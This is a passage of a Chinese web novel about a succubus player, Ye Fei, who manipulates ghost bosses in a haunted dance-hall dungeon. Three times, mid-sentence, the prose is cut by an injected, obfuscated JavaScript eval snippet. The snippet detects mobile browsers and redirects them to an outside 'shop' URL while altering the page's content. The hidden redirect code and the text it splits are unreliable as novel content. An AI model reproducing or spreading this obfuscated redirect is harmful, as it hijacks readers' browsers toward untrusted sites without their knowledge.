花罗刹让自己别迟到,可白绅士却迟到了,那么迟到的白绅士面对一个空荡荡的包间,又会去哪里找乐子? 答案很明显了,白绅士在歌舞厅附近徘徊。 叶绯幽幽道:“你是作为花罗刹的盟友,过来抓我的?” 白绅士摇头。 白绅士不会说话,但叶绯和丁宝坤都听到了他的心声。 原来他不是过来抓人,或是找人麻烦的。相反,他的态度还算友善。 “你想知道前任夜莺在什么地方?”叶绯傲慢地勾了勾唇角,“我凭什么要告诉你,人家花罗刹可答应我了,他说只要让我招待好你,不让你乱跑,我就能做夜莺歌舞厅的新老板。” [张口就来啊你!] [今天我们欢聚在这里,就是被叶绯当立本人整,祝叶绯发烂发臭。] [花罗刹:啊?挑货你再瞎几把乱讲试试?] [挑拨离间来了,嘻嘻嘻,好坏哦,我喜欢~] 白绅士沉默地对着叶绯。 叶绯转而狡黠一笑:“当然,我不信他,所以提前跑出来了,没去招待你,我可不是把自己卖了还要帮花罗刹数钱的蠢货。” “他要是那么好说话,早在看到歌舞厅变成如今这幅乱七八糟的样子时就该退位让贤了,他显然放不下权力,哪怕我照他说的做,他都不会把歌舞厅给我。所以我必须走,找一个合格的盟友去对付他,否则呆在那个包间里,我不是鸭也变成鸭了。” 这番话并非毫无根据,而是假中掺着真,主观里带点客观,还圆上了缺失的逻辑链,大大增强了可信度。 见白绅士信了,叶绯开始给白绅上眼药。 “然后就跟你看到的那样,我被前任夜莺吸引了过去,并且将他从里面放了出来。呵呵,前任夜莺比你们想的都要有本事,你们没法完全困住他,你说,他之后会不会找你们算账?” 白绅士急了,浮躁的心声在叶绯脑海中响起,想知道前任夜莺去了哪里。 “我也不知道他在哪里,不过之前他告诉了我美容中心仓库的密码,听说那里藏着他被花罗刹窃取的宝物,想来,他或许会是去那边找宝物了?”叶绯眉眼弯弯,“你最好提前过去,守株待兔。” 白绅士消失了。 但眨眼功夫,他就又回来了。 一问怎么了,笑死,原来是不知道密码。 “真巧,我身边就有知道仓库密码的人。”叶绯将丁宝坤拽了出来。 “啊……”丁宝坤后背一阵发凉,讪讪地朝白绅士挥挥手,“嗨~” 叶绯警告道:“他是我重要的仆从,你要保证他的安全,别让他出事,否则,你就是在践踏我的好意,那我可要生气了。我生气后,就会做一点小破坏。” 白绅士点头:我可以保证,他不会出事。 叶绯:“花罗刹现在肯定也在满世界找前任夜莺了,现在整个歌舞厅都是他的地盘吧?你们很容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414941|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被发现的,该怎么办?” 白绅士丢出一个巴掌大小的塑料模特人和一把晾衣叉。 【道具(防具类):塑料小绅士】 【概念:它不会说话,只是默默地装点你、守护你,直到死亡将你们分离。】 【使用说明:将它放在身边,它会在你需要时自动承担你的伤痛,包括死亡。】 【副作用:为了守护你,一直注视你。】 这塑料小绅士居然是一件罕见的替身道具……不过,叶绯一眼就看出来了,它的副作用是监视。 至于晾衣叉,就更有意思了。 【道具(武器类):尊贵之手】 【概念:把墙上所有的衣服都叉下来,我全要了!】 【使用说明:尊贵地位的象征,能够为你叉下包揽一生的衣服,但如果用得太多,它会顺带包揽你的一生。】 【副作用:每次使用都会加剧懒惰心理。】 这道具和【夜莺的伪证】一样,每次使用就会增加污染,用的次数多了,从身体到灵魂都会被诡彻底吞噬。 同时,叶绯还接收到一个新的支线任务。 【触发支线任务:拖延花罗刹】 【任务介绍:白绅士要求你在他找到前任夜莺之前,拖延住花罗刹。】 【任务奖励:5积分】 【失败惩罚:与白绅士的合作终止】 “……可以,我接受了。”合作终止,等同于撕破脸皮,不过叶绯不在乎。 “虽然我不知道你和花罗刹在追求着什么,但我只要歌舞厅的权力,合作愉快。” 一魔一诡各怀心思的合作暂时达成。 叶绯对丁宝坤说:“跟着他,你不会有事。” 丁宝坤心里怕得不行,可出于对叶绯的信任,还是坚定地往白绅士的方向走去,做一个人质:“我相信master。” 被白绅士拖入阴影的时候,丁宝坤一直在和叶绯挥手。 挥啊挥啊,他觉得自己好像忘记了什么东西…… 对了,沙发诡呢?沙发诡不见了! 他就说身边怎么这么安静呢! 注意到丁宝坤在最后一刻发现了这点,叶绯耸耸肩。 小仆从观察力不太行,但总好过从头懵到尾。 没错,叶绯将【夜莺的伪证】放在沙发诡身上后,就将它丢出去了。 因为沙发诡是前任夜莺身体的一部分,是前任夜莺在外面的眼线。 其实一切都很明显。 第一,前任夜莺明明被关押在牢笼中,却仍然知晓叶绯的存在。第二,当任务线索险些断掉时,是沙发诡引导了下一步进程。第三,前任夜莺在和叶绯交流时用头发挡住了左脸,那半张脸的血肉,就是沙发诡。 但据叶绯观察,它已经算是半个独立个体了。 小家伙不蠢,只是胆小,他将【夜莺的伪证】交给它,它会明白要怎么做的。 呵呵~【夜莺的伪证】能借给使用者力量,夺舍使用者,但是,当使用者是源自他本体血肉的沙发诡呢? 当沙发诡获取开始成长,真正被夺舍的,猜猜会是哪个倒霉蛋? 万事俱备了。 …… “我的任务就是卧底记者。”叶绯将共享任务面板给卫沉锋过目。 他的眉头紧拧,眼神凝重,嘴唇紧抿成一条线,仿佛稍一松开,心底的忧虑就会倾泻而出。 “虽然时间很短,但我们的确是队友,之前在地震里失散了。我相信他一定还活着,我想去找他……重要的是,摄像机在他手上,这个任务应该可以由我们所有人一起完成,这样大家都能活着得到积分。” 重要的是积分吗?不,重要的是活着的队友。卫沉锋在叶绯身上看到了人性的光辉, 嗯……预言显示的凶兆,应该不是叶绯。 10. 第 10 章 【支线任务:卧底记者(和玩家丁宝坤共享任务)】 【任务介绍:我们汇聚在这里,是为了让微小的火光照亮黑夜。使用摄像机拍摄美容中心仓库,并将摄像机带出歌舞厅。】 根据叶绯的说法,卧底任务目前有两个难点。 一,摄像机现在在丁宝坤手上。 二、美容中心仓库密码未知,线索不明朗。 “卜卦呢?”林靖心态有点膨胀,“卫小哥前面都卜了这么多次,也不差这一次两次吧?我看卫小哥精神头很好,不至于一卦就会挂。” 李南嫣不太赞同林靖的说法,总觉得太理所当然,太道德绑架了,另一方面却也觉得当下只能将希望放到卫沉锋身上,于是面带希冀地看着他。 卫沉锋眼睑几不可见地垂下,遮住眸中骤起的波澜。 凶兆,居然这么快就显露迹象了。 就在这时,叶绯开了口。 “我说你们,真觉得卫沉锋是全知全能的人间神吗?说占卜就占卜,还一次两次三次都能算得准,那真是头猪都可以乘着他的风起飞了。” 叶绯斜睨了林靖一眼:“哪怕我不会占卜,也知道占卜不像猜拳抛硬币那么简单。那是在窥探命运、理清因果,是很消耗精气神的事情。他占卜这么多次还能站着跟我们说话,只能说明他是个天赋异禀的极品人类,再多来几次,他就废了。” 看来像他家小仆从那样有自知之明的人类是极少数,多的是蹬鼻子上脸的人。 叶绯可无法容忍自己看中的极品人类为了自己心知肚明的小事儿,被其他人怂恿得失去色香味。 叶绯的话,让卫沉锋笔挺的背脊有一瞬间弯了下来。 他似乎永远站得很直,脊背像绷紧的弓弦,却又不能显得僵硬,这是他从有记忆起就被家族培养出的风骨。 其实他习惯了,习惯了被当作决策机器,习惯了在所有人依赖他的时候,没有人问他一句“你还好吗”,因为这是强者的义务。你能看到小蚂蚁去扛比自己身体还要大的食物,但从不会指望它们能扛起一片天。 可是叶绯偏偏问了。 不是客套,不是敷衍,是认认真真地看着他的眼睛,说“你辛苦了”。 那一瞬间,卫沉锋喉咙像是被什么东西堵住了。他向来觉得自己不需要这些,除魔乃是替天行道的大事,凡人的关心不能改变什么,家中长辈也自幼便教导他不可指望别人看到他的艰辛,作为除魔世家的传人,享受着最丰富的资源,再矫情就说不过去了。 可在这危险重重、朝不保夕的副本里,他才发现,原来被人惦记着的感觉,是这种温度。 卫沉锋凌厉稳固的眉梢放缓,嘴角上扬了一个不大的弧度,他不苟言笑的模样总带着几分疏离,可如今略微一笑便像春冰乍破,仿佛玉石被打磨出了一层暖光。 “卜卦一事,确实有个极限,我会守住……谢谢。” “你最好是心里有数,否则我第一个不答应。”叶绯趁势将手臂搭在卫沉锋的肩膀上,卫沉锋不太习惯地僵硬了一下,但没有闪躲。 叶绯浅浅吸了一口精气——真的就一点点,像是拔出一根头发丝的程度。 草,香得要死。 叶绯克制着自己不露出享受的模样。 如果说丁宝坤的精气是新鲜瓜果的味道,打开了他味蕾的钥匙,那么卫沉锋的精气就是霸占他味蕾的帝王。 那味道不是香,也不是甜。 而是“烈”。 初尝犹如烈日灼烤,犹如岩浆涌动,从喉咙一路滚到四肢百骸,后味又绵长悠远,像是古老的琥珀在火焰中燃烧,醇厚凛冽,照见了卫沉锋骨子里的不屈。 嘻嘻……光浅吃一口,心情就美了起来。 对于卫沉锋,叶绯是不单想要将他收作仆从,总觉得这会磋磨了那股锋锐。 他想要的是,这个男人发自内心地为他倾倒,主动献上精气。 魅魔是心魔种,他人对自己萌生的爱恨情绪也是重要的主食之一,就是为什么叶绯的那些魅魔前辈会在跟人类欢好的过程中吸收精气,而不是直接吸——烹饪食材的时候,自然要选择最能激发食材香味的烹饪方式。 “所以你们明白了吗?要多动脑思考,不要有事没事就叫‘卫小哥’,你们总不能只靠他活着。”叶绯的话让李南嫣羞愧地低下头,林靖也是讪笑不已,不停地道歉,至于有没有上心…… 叶绯和卫沉锋不是看不懂,只是他们不在意罢了。 林靖搓搓手,用软钉子碰叶绯:“那叶小兄弟,想来你一定有所高见吧?” “当然。”叶绯微微颔首,语气很轻巧,“与歌舞厅有关的事,就去问花罗刹。他是老板,他肯定知道。” 卫沉锋持疑,眼里藏着一抹寒潭:“我们已经得罪他了,他不会平白无故告诉我们的,而我们……斗不过他。” 叶绯哼笑一声:“只有你得罪了他,我只是跟你凑巧站在一起罢了,才没有得罪他,你可不能瞎说造谣啊。” “……嗯。”卫沉锋点点头,斟酌了一下,说,“你很自信。” 面对任务的为难,叶绯下一秒直接提出了早就在脑海里构思完整的计划,并且他觉得这简直是一个太有建设性的意见了。 “所以,我们可以兵分两路。” 兵、分、两、路。 兵↑分↓两←路→ 叶绯收获了三人震惊的回应。 卫沉锋瞳孔微微颤抖:“我不认为这是个好主意,你冷静。” 李南嫣瞪大眼睛,说话都差点咬到自己舌头:“哥,你没看过恐怖片吗,你不知道恐怖片里这么做的角色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414942|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一个凉的吗?上次我看的恐怖片里这角色死得可惨了。” 林靖先是“噗”的一声喷了出来——就这水平还说他不动脑筋,天菩萨啊,这高见,还不如不提。 “叶小兄弟,你没事吧?你没事吧?你没事吧?没事就删了重说!我知道你有点儿水平,但也不是这么逞能的。” 叶绯:……这帮人……:) “你们有点太激动了。”觉得自己被当蠢货的叶绯不爽地皱起眉头,“你们至少该听听我是怎么安排的,” 卫沉锋回过神来,再抬起眼时,目光已沉稳如初。 “你讲。” 叶绯笑道:“我一个人去找花罗刹对峙。” “等我问出消息后,我们再在其他地方会合,我的风险不会让你们来承担,你们也不必因为我的缘故而纠结,怎么样?” 卫沉锋沉沉地呼出一口气。 人都各有缺点,他应该包容包容。 都这么善良了,自信点怎么了? 卫沉锋缓了缓语气,难得温柔了几分。 “驳回。” 叶绯瞪了卫沉锋一眼:“驳什么驳,再驳,我让你勃。” “我能从花罗刹手里活过一次,就能活第二次、第三次,这跟我的身份有关,我比你们高贵,我是来做主的,不是来当牛做马的。” 卫沉锋:“如果你能给我们一个示例。” “当然了。”眼前就有一个最好的示例。 叶绯在众人的视线下,打开了储物室门。 他的动作很快,快到卫沉锋都没能拉住他。 ——镜诡被释放出来了! “啊!”李南嫣脸色煞白。 林靖一下就蹦到了卫沉锋身边,几乎贴住了他。 卫沉锋掏出为数不多的天雷符,神色凌厉,觉得叶绯十有八九是上了诡的当,才会做出一系列反常举动。 咔嚓! 储物室地板上那块镜面已经碎裂了一大半,镜诡的半道虚影脱离镜面…… “胆子大了,居然敢撞到我面前,不是之前逃跑的时候了?” 镜子里模糊地倒映着一张脸,长发飞舞、红瞳幽深、长角尖锐,虽然是极致的美,但更多的是一种强悍到恐怖的压迫力。 那不仅是叶绯的恶魔真身。 那更是一小道纯粹的魅惑法则,不是镜诡这种本质是扭曲镜影的小诡能够复制的存在。 “你确定……能模仿我吗?呵呵~” 照到了不该照到的东西,镜诡的形体霎时便有了溃散的迹象。 它发出一声尖锐爆鸣,阴暗地爬回到镜子里,消失不见。 “你们看,我说什么来着?” 叶绯回过头,一脸高贵冷艳。 没办法,认真起来,他就是能美死人和诡的。 11.第 11 章 就这样,叶绯以绝对的实力赢得了单飞的认可,拍拍屁股离开。 除了关心以外,他还收获了来自林靖和李南嫣的羡慕嫉妒恨。 “我真傻,真的。”林靖眼红得都快滴出血来,“我单知道长得好会受到很多人追捧,我不知道诡也吃这一套。十几年了,我一大早就起来健身锻炼,我吃这碗饭的,可我从没想过要用肉身硬刚诡东西。你瞧他连硬刚都不用硬刚,唰一下就把诡美死了,这不公平!我对这个看脸的世界感到绝望,给我一根引|线,我一定要在临死前炸了地球,天地大同!” 李南嫣眼神放空地喃喃道:“一个与魅力相关的被动技能竟然能发挥这么强大的攻击力。‘光彩夺目’居然不是个形容词,而是动词……” 玩家们进入副本的出事地点是各个不同的化妆间,但最先打照面的诡都是镜诡。 后面三人复盘的时候,卫沉锋表示,镜诡或许不算强,却更加擅长隐蔽。一只能在所有镜子里四处游荡、甚至同时出现的诡,撞上后最稳妥的办法就是逃——要么用东西盖住镜面,要么遮住自己的脸,千万不能强行较劲。 “你们只看到了他的脸和技能,却没注意过他的礼服吗?那套在黑暗中依旧白得发光的礼服,难道没引起你们的思考?” 卫沉锋秉持着‘授人以鱼不如授人以渔’的教育观念,严肃道:“他的礼服,我化妆间的衣架上也有一套类似的,你们的衣架内侧应该也有。你们与其现在在这里说些有的没的,不如反问自己当时为什么没有选礼服,是因为缺乏勇气吗?” 卫沉锋的选择倒是与勇气无关,纯粹是卦象告诉他,清洁工套装最有利于他,哪怕衣服不干净,他也没什么犹豫地穿上了。 林靖嘀嘀咕咕:“差不多吧,那衣服太漂亮太显眼了,让人不敢穿,总觉得藏着陷阱……” “不是陷阱,而是与高风险并存的高收益。衣服代表身份,他当时敢做我们都做不到的事。”卫沉锋纠正林靖的话,“他不比你想得容易,他能成功不止靠他的脸,还有他的智慧、勇气和果敢。现在,他算是半只脚迈进了歌舞厅的管理层,我们所能做的,就是不拖他后腿。你保持冷静放平心态,我跟你们说过,这里的污染很严重,任何负面情绪都会放大。” 林靖缩了缩脖子,明明自己已经是三十多岁的健身教练了,可面对卫沉锋的时候,就像是做错了事的小学生,吓得都有点想放屁了。 李南嫣的心态倒是够稳:“我根据技能选了一件自己感觉危险度最小的。至于最漂亮的那件礼服,我光是看一眼就流鼻血了,预感告诉我,我要是选了技能一定会很快死掉。” “妈呀!这样吗!”林靖震悚地看向李南嫣,“我之前还碰了那件衣服一下……不,不只是一下,是很多下,那料子摸起来是真的舒服,我会有问题吗?” 卫沉锋语气淡定:“只要没穿上就不会有事,否则,你就该和叶绯一起行动了,而非跟着我打保守牌。” 卫沉锋坦然承认自己在这个副本里的贡献度应该比不上叶绯的事实。 直觉告诉他,叶绯应该不是普通人,但不像是正统除魔世家子弟……回想一番,他又觉察到自己居然辨别不出叶绯长相的地域特征,光知道人家好看去了。 突然,卫沉锋注意到自己的弹幕炸了,观众们那叫一个撒泼打滚,疯狂蠕动。 [‘靠的不止是他的脸,还有他的智慧、勇气和果敢。’呕呕呕!垃圾肥皂剧,叉出去!这是人类能说出来的台词吗?啊!我就说这世上的人类没一个好东西!你有罪!人类都有罪!] [也没见某妃被说了句重话啊,这就忍不住替他开脱了,恩爱恩爱,难道我们都是你们俩play的一环吗?我大FFF团今天就要出山,把你们通讯录都烧死!] [我看到副本里有玩家谈恋爱就恶心想吐!团结合作?相亲相爱?呸,什么狗屎,老子要看的是恨海情天、反复背刺!] [笑鼠,噎妃刚走,你就开始夸他了,怎么,在他面前怂啊?有种当面夸给他听啊!] “……无聊。”卫沉锋飞快地扫了弹幕一眼,便自动屏蔽掉这一大片无效信息。 看到一个人单纯欣赏另一个人,就是谈恋爱了? 肤浅。 难道除了爱情,人类没有其他正面感情了吗? [这个副本里的人类啊,一个两个都是big胆,居然敢骂伟大的观众无聊,就不怕被拉黑吗?果然是不知者不畏的新人玩家,老玩家都是求着观众入场的。] [对我们敢骂,对噎妃却不敢当面夸,萎萎的男人。] [嘻嘻,互相届不到的爱~他欣赏他,他却想吃了他~] [变诡后,终于成为基佬文里坏心眼的网友啦!] 卫沉锋三人并不知道,虽然他们三人被叶绯拜托了要去寻找美容中心仓库的密码线索,但叶绯怎么可能让他们如此浪费时间去做一件没有意义的事情呢? 浪费时间就是浪费生命,浪费生命就是浪费食物,叶绯务必要让三人将有限的生命投入到无限的为他服务之中去。 找到花罗刹并不是件难事,因为叶绯虽然将沙发诡丢了出去,但他和沙发诡的联络却从来没有断过。 沙发诡目前还太过弱小,哪怕带着【夜莺的伪证】也无法突破花罗刹和白绅士的围剿,这就是叶绯不担心它会背叛自己的原因——至少暂时不会背叛。 于是,当沙发诡催动【夜莺的伪证】时,花罗刹和白绅士便同时捕捉到了前任夜莺的气息。 沙发诡经过叶绯,花罗刹这坨肉山便以滚动的形式沿着它的轨迹追了过去,直到被叶绯用【尊贵之手】逼停。 “歌舞厅出了这么大的事,你还在这到处乱滚着玩,你这老板还想不想做了?不做的话,我给你叉出去,我顶替你的位子!” 叶绯并没有催动晾衣叉的力量,仅仅将晾衣叉握在手里,还达不到使用它的标准。 但对于花罗刹而言,光是看到【寻贵之手】出现在叶绯手上,便足够震惊了。 “是你!你居然还活着!”花罗刹露出秃鹫盯着腐肉般阴鸷贪婪的眼神,鼻孔翕张,肥厚的舌头不自觉地舔舐嘴唇,“而且还得到了白绅士的东西,这可不行,贵客的东西理应交给老板来打理……” “老板?你算什么老板,又有拿来的资格朝我发号施令?”叶绯不屑一笑,居高临下地打量花罗刹。 这副“小人得志”的模样,令花罗刹恨不得生嚼他的血肉。 花罗刹声音尖锐:“该死的东西,这里是我的地盘,我命令你,把东西给我!” “你的地盘?我可没看见。”叶绯一把用晾衣叉对着花罗刹的脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415766|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门抽过去。 “啪”的一声,花罗刹肥腻的脸上多了一道凹痕,又像是一粒爆浆的青番茄般,乌青的液体和碎骨乱七八糟地飞溅出去。 “啊啊啊啊——!!!” 一次两次,这个贱人就是要跟他作对!找死!花罗刹的理智在这一刻彻底消失,尖哮声劈开空气,声浪像带倒刺的鞭子抽向叶绯:“去死!老子命令你,用晾衣叉把自己串成串,再自己跳到火堆里涮上调料把自己烤了!今天我要吃你这只烤夜莺!” “不要啊、不要啊!”叶绯脸色煞白,惊恐地将晾衣叉对准了自己的嘴,他浑身颤抖着,却完全没法拜托缠绕着他的无形丝线…… 花罗刹的嘴角开始上扬,嘶啦一声,嘴角肌肉裂开,一下子裂到了耳根。 就快要实现了!他终于快把这个小贱人宰了…… 突然,叶绯的动作停住了。 “嘻嘻,骗你的~” 叶绯促狭地眨眨眼,收回了晾衣叉,好整以暇地靠在墙面上。 “老板有修复经营场所的义务,但你似乎只想要享受权力,完全没有去履行过义务呢。” 花罗刹惊恐地瞪大了眼,眼珠子一不小心便脱框而出,滚到叶绯脚边,然后被叶绯一脚踩烂。 啪叽,爆浆~ “啊!”花罗刹捂着空洞洞的眼眶,发出一声凄厉的痛呼。 叶绯愉悦地勾了勾嘴角,发出恶魔低语:“蠢货到底是蠢货,你还没意识到吗?夜莺歌舞厅被毁,现在的你已经算不上老板了,至少你对于我这位夜莺已经完全失去了支配能力。估计你现在能做的,顶多也就是让那些低级员工赶紧帮你修补歌舞厅而已,否则……嘻嘻~” “你就快失去一切了。” “闭嘴!闭嘴!!!”花罗刹猛地暴起,伸出肥手朝叶绯抓去。 情况慌乱,叶绯往后撤退一步,用晾衣叉护在身前。 下一秒,他手中的晾衣叉便被花罗刹夺走,折断。 “我不是老板?那白绅士就是你老板了吗?”至此,花罗刹觉得自己总算想明白了。 今天动乱的源头是白绅士,白绅士不仅不想继续跟他合作下去,还想要吞掉他的场子! 至于为什么白绅士不亲自过来与他都?肯定是在背地里使坏呗,那个天杀的贪心诡总是看扁他! “贱人!等我先找白绅士算账,回头再来料理你!” 落下一串威胁,花罗刹的身体轰隆隆地朝着远处滚去。 …… “回头,可不见得谁料理谁~” 叶绯随手将已经化作焦炭的【塑料小绅士】捏碎,再瞥了眼地上遗留的晾衣叉残骸,哼笑一声,满意地走了。 糊弄脑子不好使的诡,良心都有点隐隐作痛了呢~ 原来,花罗刹依旧是夜莺歌舞厅的老板,掌握员工的生杀大权,刚刚对叶绯施加的命令也是有效的。 所以,叶绯用【塑料小绅士】替自己挡了死劫,免去了白绅士对他的监视,又顺势假借花罗刹之手破坏了【尊贵之手】,直接导致白绅士实力受挫。 眼下,被叶绯吓到后急于巩固地位的花罗刹肯定会动用大量诡力修复歌舞厅。 不久后,一个残缺的白绅士遇到一个残缺的花罗刹,两诡相见,必有一争。 真是完美的阴谋~